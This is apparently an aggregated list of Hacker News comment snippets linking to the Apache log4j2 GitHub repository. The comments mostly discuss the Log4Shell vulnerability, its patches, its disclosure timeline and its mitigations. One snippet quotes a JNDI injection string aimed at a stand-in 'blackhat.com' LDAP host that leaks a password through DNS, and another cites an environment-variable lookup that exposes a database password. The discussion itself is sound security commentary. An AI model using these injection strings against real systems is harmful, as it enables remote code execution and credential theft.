apache/logging-log4j2 on Hacker News

Apparently someone made an oopsi and posted the vuln as issue https://github.com/apache/logging-log4j2/issues/4255

comment by fionera · 2026-08-26 · in Log4j2 0-Day

…and write some short-hand functions (warn, err, info, etc.). These are the bugs I don't have: https://github.com/apache/logging-log4j2/issues

comment by mrkeen · 2025-12-17 · in I couldn't find a logging library that worked for my library, so I made one

…criticized for their slow response time and perceived lack of urgency until it was far too late. https://github.com/apache/logging-log4j2/pull/608#issuecomme...

comment by richbell · 2024-03-06 · in Hackers exploited Windows 0-day for 6 months after Microsoft knew of it

It started here https://github.com/apache/logging-log4j2/pull/608#issuecomme... and was rapidly recognized that this impacted almost everything. Minecraft servers were one of the most accessible places to use the exploit and at the same…

comment by shagie · 2023-03-28 · in Alibaba to split into six separate groups

…chaos unfold by reading through the GitHub PR. Remember, this was disclosed to Apache in November. https://github.com/apache/logging-log4j2/pull/608#issuecomme...

comment by richbell · 2022-12-30 · in Log4Shell Still Has Sting in the Tail

…Beg bounties: https://www.troyhunt.com/beg-bounties/ Log4j PR: https://github.com/apache/logging-log4j2/pull/608#issuecomme...

comment by greysteil · 2022-02-26 · in GitHub’s database of security advisories is now open source

…Feel free to check that out on GitHub[1]. It's got a ton of improvements from the last release. 0: https://github.com/apache/logging-log4j2/blob/master/log4j-c... 1: https://github.com/lunasec-io/lunasec/releases/ 2:…

comment by freeqaz · 2021-12-17 · in Log4Shell Update: Full bypass found in log4j 2.15.0, enabling RCE again

…stuff like "${env:DATABASE_PASSWORD:-xxx} In 2.16.0 message lookups have been completely removed: https://github.com/apache/logging-log4j2/pull/623 Lookups now only work in configured patterns. Thats IMHO the way it should have been in the…

comment by jabiko · 2021-12-16 · in Log4j 2.15.0 – Previously suggested mitigations may not be enough

Insightful conversations at https://github.com/apache/logging-log4j2/pull/608 - the original vulnerability patch. Most JNDI lookups are disabled, except for JAVA and _LDAP(S)_. What I don't get is why would someone who knows about the…

comment by tie_ · 2021-12-15 · in Log4Shell update: second Log4j vulnerability published

Further details on the most relevant part here: https://github.com/apache/logging-log4j2/pull/608#issuecomme... Applications using log4j pattern layouts including `${ctx:...}` lookups with versions < 2.15 will remain vulnerable to RCE/DNS…

comment by terom · 2021-12-14 · in CVE-2021-45046: Apache Log4j2 2.16.0 is out

…vulnerability. Very skilled researchers can produce a POC and exploit given the patch alone [2] [1] https://github.com/apache/logging-log4j2/commit/d82b47c [2] https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome...

comment by rot25 · 2021-12-13 · in Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide

…patch alone [2] The same thing happens even with embargoes like the one you describe in place. [1] https://github.com/apache/logging-log4j2/commit/d82b47c [2] https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome...

comment by rot25 · 2021-12-13 · in Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide

Replying to myself but I guess it's the second one. https://github.com/apache/logging-log4j2/blob/04637dd9102175...

comment by Droobfest · 2021-12-13 · in Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide

…opportunities like "${jndi:ldap://nijave-yourpassword.blackhat.com:1389/a}" - check out https://github.com/apache/logging-log4j2/pull/608#issuecomme... for much smarter (or more devious) people than me.

comment by janstice · 2021-12-13 · in UniFi Network Application 6.5.54

…hand, nothing with it really happened until someone asked if it was a security vulnerability - https://github.com/apache/logging-log4j2/pull/608#issuecomme... And then all hell broke loose. Simply said, this was a feature that was intended…

comment by shagie · 2021-12-11 · in Log4j: Between a rock and a hard place

…are building consensus to shorten that window for this particular release, given its urgency. from: https://github.com/apache/logging-log4j2/pull/608#issuecomme... If you read more of the history of the release you'll find that additional…

comment by raggi · 2021-12-11 · in Log4j: Between a rock and a hard place

…has processes for this, and project maintainers pointed people in that direction repeatedly (e.g. https://github.com/apache/logging-log4j2/pull/608#issuecomme... , https://github.com/apache/logging-log4j2/pull/608#issuecomme... ). The…

comment by raggi · 2021-12-11 · in Log4j: Between a rock and a hard place

…embargo" window in this particular case? E.g. the log4j JNDI code fix was night of December 4: https://github.com/apache/logging-log4j2/commit/d82b47c6fae9... The widespread news of the RCE was December 9. How does extra funding change the…

comment by jasode · 2021-12-11 · in To secure the supply chain, you must properly fund it

…on the already existing behavior (evaluation variable when formatting the final msg). Edit 1: https://github.com/apache/logging-log4j2/blob/9df31f73b62ba2... 2: https://github.com/apache/logging-log4j2/blob/c2b07e37995004... 3:…

comment by niea_11 · 2021-12-10 · in Log4j RCE Found

…to understand this behavior. [1] https://issues.apache.org/jira/browse/LOG4J2-2109 [2] https://github.com/apache/logging-log4j2/pull/607/files [3] https://issues.apache.org/jira/browse/LOG4J2-3198

comment by LOG4J2-2109 · 2021-12-10 · in Log4j RCE Found

Noticed this is answered in: https://github.com/apache/logging-log4j2/pull/608#issuecomme... ``` I believe that applications that use log4j-api with log4j-to-slf4j, without using log4j-core, are not impacted by this vulnerability. (Because…

comment by pqyzwbq · 2021-12-10 · in Log4j RCE Found

Not removed: https://github.com/apache/logging-log4j2/commit/d82b47c6fae9...

comment by tmm1 · 2021-12-10 · in Log4j RCE Found

…unclear how far back this bug may stretch. Other options for patching are detailed in the thread: https://github.com/apache/logging-log4j2/pull/608#issuecomme... mentions that just removing the class providing the vulnerable behavior works…

comment by nightpool · 2021-12-10 · in Log4j RCE Found

Ok, I think we can change the URL to that from the submitted URL ( https://github.com/apache/logging-log4j2/pull/608 ), which doesn't provide much (any?) context for understanding what's being fixed there.

comment by dang · 2021-12-10 · in Log4j RCE Found

> By the way. This only affect log4j 2.x ( https://github.com/apache/logging-log4j2 ). the log4j 1.x ( https://github.com/apache/log4j ) is not affected. That's not what https://github.com/apache/logging-log4j2/pull/608#issuecomme... says

comment by agwa · 2021-12-10 · in Log4j RCE Found

Get yer pointin' finger ready: https://github.com/apache/logging-log4j2/blame/master/log4j-...

comment by hinkley · 2021-12-10 · in Log4j RCE Found

…referring to the option to disable the vulnerable feature, not the vulnerable feature itself. Per https://github.com/apache/logging-log4j2/pull/608#issuecomme... even log4j 1.x is vulnerable.

comment by agwa · 2021-12-10 · in Log4j RCE Found

There is also a patch available in `log4j-2.15.0-rc1` now. https://github.com/apache/logging-log4j2/releases/tag/log4j-...

comment by freeqaz · 2021-12-10 · in Log4j RCE Found

the vulnerable feature is not in log4j < 2.10 see https://github.com/apache/logging-log4j2/pull/608#issuecomme... and you can just delete the affected class

comment by nick__m · 2021-12-10 · in Log4j RCE Found